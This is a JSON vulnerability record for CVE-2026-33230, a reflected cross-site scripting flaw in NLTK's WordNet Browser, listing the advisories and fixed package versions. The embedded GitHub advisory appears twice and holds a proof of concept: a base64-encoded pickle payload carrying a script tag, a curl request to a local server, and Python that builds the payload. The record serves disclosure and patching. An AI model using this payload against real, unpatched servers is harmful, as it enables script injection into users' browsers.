{"id":"CVE-2026-33230","aliases":["DEBIAN-CVE-2026-33230","EUVD-2026-13883","GHSA-gfwx-w7gr-fvh7","MGASA-2026-0082","PYSEC-2026-2235","ROOT-APP-PYPI-CVE-2026-33230","UBUNTU-CVE-2026-33230","openSUSE-SU-2026:10461-1"],"status":"published","title":"nltk Vulnerable to Cross-site Scripting","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","severity":{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00344,"percentile":0.28289,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-03-18T20:23:33Z","modified":"2026-11-11T10:30:30Z","fixes":[{"ecosystem":"PyPI","package":"nltk","fixed_in":["3.9.4"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"nltk","fixed_in":["3.10.0-1"],"sources":["osv"]},{"ecosystem":"Mageia:9","package":"python-nltk","fixed_in":["3.9.4-1.mga9"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"nltk","fixed_in":["3.9.2+aikido.7","3.9.2+aikido.8"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-nltk","fixed_in":["3.9.2+root.io.2","3.9.2+root.io.3","3.9.2+root.io.4","3.9.2+root.io.5"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","fixed_in":["2.0~b9-0ubuntu4.1~esm6"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","fixed_in":["3.1-1ubuntu0.1+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","fixed_in":["3.2.5-1ubuntu0.1+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","fixed_in":["3.4.5-2ubuntu0.1~esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","fixed_in":["3.7-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","fixed_in":["3.8.1-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","fixed_in":["3.9.2-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-nltk","fixed_in":["3.9.4-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.9.3"},{"fixed":"3.9.4"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.8-1","3.8.1-1","3.9.1-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.10.0-1","3.10.1-1","3.10.3-1","3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0-1"}]}],"versions":["3.9.1-2","3.9.2-1","3.9.3-1"]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9b1"]},{"source":"osv","ecosystem":"Mageia:9","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4-1.mga9"}]}]},{"source":"osv","ecosystem":"PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9b1"]},{"source":"osv","ecosystem":"Root:PyPI","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.2+aikido.7"},{"fixed":"3.9.2+aikido.8"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.2+root.io.2"},{"fixed":"3.9.2+root.io.3"},{"fixed":"3.9.2+root.io.4"},{"fixed":"3.9.2+root.io.5"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0~b9-0ubuntu4.1~esm6"}]}],"versions":["2.0~b9-0ubuntu4","2.0~b9-0ubuntu4.1~esm2","2.0~b9-0ubuntu4.1~esm4","2.0~b9-0ubuntu4.1~esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1-1ubuntu0.1+esm4"}]}],"versions":["3.0.4-1","3.0.5-1","3.1-1","3.1-1ubuntu0.1","3.1-1ubuntu0.1+esm1","3.1-1ubuntu0.1+esm2","3.1-1ubuntu0.1+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.5-1ubuntu0.1+esm4"}]}],"versions":["3.2.4-1","3.2.5-1","3.2.5-1ubuntu0.1","3.2.5-1ubuntu0.1+esm1","3.2.5-1ubuntu0.1+esm2","3.2.5-1ubuntu0.1+esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.5-2ubuntu0.1~esm4"}]}],"versions":["3.4.5-1","3.4.5-2","3.4.5-2ubuntu0.1~esm1","3.4.5-2ubuntu0.1~esm2","3.4.5-2ubuntu0.1~esm3"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7-1ubuntu0.1~esm2"}]}],"versions":["3.5-1","3.6.5-1","3.6.7-1","3.7-1","3.7-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.8.1-1ubuntu0.1~esm2"}]}],"versions":["3.8.1-1","3.8.1-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.1-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.9.2-1","3.9.3-1","3.10.0-1","3.10.1-1","3.10.3-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.2-1ubuntu0.1~esm2"}]}],"versions":["3.9.1-2","3.9.1-2build1","3.9.2-1","3.9.2-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-nltk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.4-1.1"}]}]}],"products":[{"vendor":"nltk","product":"nltk"}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33230","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gfwx-w7gr-fvh7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33230.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-33230","tags":["advisory"]},{"url":"https://github.com/nltk/nltk","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0082.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35314","tags":["report"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/message/Z36Q44HZY76RE7YZX5B55777UQB6MPEI/","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-33230","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33230","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8302-1","tags":["advisory"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33230","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-33230","title":"nltk Vulnerable to Cross-site Scripting","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T22:43:39.621Z","modified":"2026-03-24T02:07:12.001Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-13883","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T22:43:39Z","modified":"2026-03-24T02:07:12Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:30.317985Z"}],"ghsa":[{"id":"GHSA-gfwx-w7gr-fvh7","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","description":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '\u003cscript\u003ealert(1)\u003c/script\u003e' were not found in the dictionary.\n```\n\u003cimg width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" /\u003e\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\u003cscript\u003ealert(1)\u003c/script\u003e\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \u003cscript\u003ealert(1)\u003c/script\u003e\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","status":"published","published":"2026-03-18T20:23:33Z","modified":"2026-03-25T18:21:03Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33230","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T23:16:46.68Z","modified":"2026-06-17T10:37:09.773Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-33230","title":"nltk Vulnerable to Cross-site Scripting","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T22:43:39.621Z","modified":"2026-11-11T10:30:30.779614771Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-11T11:06:44.221111Z"},{"id":"DEBIAN-CVE-2026-33230","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T23:16:46.68Z","modified":"2026-10-01T03:03:10.371968415Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-gfwx-w7gr-fvh7","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","description":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '\u003cscript\u003ealert(1)\u003c/script\u003e' were not found in the dictionary.\n```\n\u003cimg width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" /\u003e\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\u003cscript\u003ealert(1)\u003c/script\u003e\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \u003cscript\u003ealert(1)\u003c/script\u003e\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.","status":"published","published":"2026-03-18T20:23:33Z","modified":"2026-09-10T03:50:39.207692385Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"PYSEC-2026-2235","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T23:16:46.68Z","modified":"2026-07-13T07:15:50.517124718Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"ROOT-APP-PYPI-CVE-2026-33230","title":"CVE-2026-33230 in nltk - Patched by Root","description":"Root has patched CVE-2026-33230 in the nltk package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-08-05T08:19:58Z","modified":"2026-08-09T23:00:04.496194945Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"UBUNTU-CVE-2026-33230","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Commit 1c3f799607eeb088cab2491dcf806ae83c29ad8f fixes the issue.","status":"published","published":"2026-03-20T23:16:00Z","modified":"2026-10-17T12:59:59.814889317Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"MGASA-2026-0082","title":"Updated python-nltk packages fix security vulnerability","description":"nltk Vulnerable to Cross-site Scripting. (CVE-2026-33230)\n","status":"published","published":"2026-04-06T17:35:50Z","modified":"2026-04-16T04:44:37.214143843Z","updated_at":"2026-11-02T15:49:43.178336Z"},{"id":"openSUSE-SU-2026:10461-1","title":"python311-nltk-3.9.4-1.1 on GA media","description":"These are all security issues fixed in the python311-nltk-3.9.4-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-29T00:00:00Z","modified":"2026-03-30T08:15:10.081184Z","updated_at":"2026-11-02T16:58:38.415593Z"}]}}